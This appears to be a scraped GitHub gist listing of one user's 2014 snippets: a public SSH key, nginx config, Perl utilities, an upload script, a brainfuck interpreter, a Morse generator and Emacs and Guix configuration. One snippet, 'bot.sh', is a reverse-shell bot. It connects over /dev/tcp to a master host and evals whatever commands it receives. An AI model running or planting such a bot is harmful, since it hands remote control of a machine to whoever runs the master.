Skip to content

Instantly share code, notes, and snippets.

@xy4n
xy4n / stdin
Created January 22, 2014 08:46
stdin
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDb35BbPE7FMF7SWxUzrFnWhUR8hsAQY23wLhobJdcnDhd4BG1joZhKpahxaZnNUR6h8GIDvnIfLrRs2MWz3+9QeKtnD74bVmjYG8YhAcNGrTDEdAupZkTrBeQxWoLh02xt969b+i+wDoGQhKe0OcpKCsjGtdnXBNxJTqXSZfCdy4ZHjGk/0rKBkoPpq/kdOoCWaQ2cmDiinXW2DTfOiZ8N9AlvZShMe4StPQO0He+zKhA34nBHhsK6M74GIHo1FMYDtC6HTDqqlrIAytB/MNO67+AqOj8qtaXLeoQlXFMYG/xnTBbifY/WY+G/4kMlXNSa/HqFm53ImOgTeSFSSvTVrFjDaFgBcnaPfkrpelH9HqUbrWKwegmhN4fKrY7eXg8z6W7o0sYldwqQaRUX9+vd8lMhtH/qJWOhGYTfBbRxQMSPw3rA9HxA7sjGEAERptdK6kLY2SFfFTCUjiuceMuJNSPPEkbV27q0h1DucfVPV1JWSHljMvPIcYPIL6EZ3eMm5dRNVU1gPb3AyxjdzIgwRg5kJX2a29DP8bNEMIZ6BwUDE/ZvYcmo/k+OVZ7nlb406bFkUKeJ/A8EUXigvKArSv4EcpRi61FhNsBmCxTmUlW3Q4wUZDTC+UsJzwOk77L+ifObihvSUGTegweyVL5mymnnaIFtrZW3k4uF3UnrvQ== cat
@xy4n
xy4n / stdin
Created January 28, 2014 15:18
stdin
location ~ ^/~(.+?)(/.*)?$ {
alias /home/$1/www$2;
index index.html index.htm;
autoindex on;
}
@xy4n
xy4n / hypehosthypehost
Created February 4, 2014 21:38
hypehost/hypehost
#!/usr/bin/env perl
use IO::Socket::INET6;
# some configuration
my $nodeinfo_ip = "fc5d:baa5:61fc:6ffd:9554:67f0:e290:7535";
my $nodeinfo_port = "8000";
my $get_loc = "/_hypehost/get";
my $set_loc = "/_hypehost/set";
@xy4n
xy4n / gen_hosts.pl
Created February 4, 2014 21:42
gen_hosts.pl
#!/usr/bin/env perl
# NO FITNESS FOR A PARTICULAR PURPOSE. NO MERCHANTABILITY.
unless ($ARGV[0]) {
die "Usage: gen_hosts.pl <hosts_file>\n";
}
my $hosts_file = $ARGV[0];
my $hostmap;
@xy4n
xy4n / pomfload
Created February 16, 2014 16:26 — forked from shizmob/pomfload
#!/bin/sh
if [ $# -lt 1 ]; then
echo "Usage: `basename $0` FILE [FILE...]"
exit 1
fi
for f in "$@"; do
d=$(curl -sS --progress-bar -F files[]=@"$f" http://pomf.se/upload.php | jq -c -r '.files[0].url')
@xy4n
xy4n / brainfuck.pl
Created February 17, 2014 16:27
brainfuck.pl
#!/usr/bin/env perl
use warnings;
use strict;
use feature qw/switch/;
open my $stream, $ARGV[0] or die "Can't open file: $!";
my $size = 3000;
my @cells = (1..$size);
my $mptr = 0;
my $cptr = 0;
my @loops;
@xy4n
xy4n / devmorse.pl
Created February 20, 2014 20:46
dev/morse.pl
#!/usr/bin/env perl
use warnings;
use strict;
use Audio::Wav;
use Getopt::Long;
our %morsetable = (
"a" => ".-",
@xy4n
xy4n / emacsd
Created March 3, 2014 18:16
emacsd
#!/bin/bash
#
#
# Modify the EMACS and EMACS_FLAGS variable to match both the name of the
# Emacs binary, and the flags desired at start. Most people will not need
# to perform any modifications to this.
#
# This script also requires an Elisp snippet to be present in your .emacs
# (~/.emacs or ~/.emacs.d/init.el) in order to function properly:
#
@xy4n
xy4n / bot.sh
Last active August 29, 2015 14:07
#!/usr/bin/env bash
MASTER=127.0.0.1
PORT=31337
exec 3<>/dev/tcp/$MASTER/$PORT
echo "CONNECT" >&3
while :; do
read LINE <&3
eval "$LINE" 2>&3 1>&3
;; This is an operating system configuration template.
(use-modules (gnu))
(operating-system
(host-name "antelope")
(timezone "Europe/Paris")
(locale "en_US.UTF-8")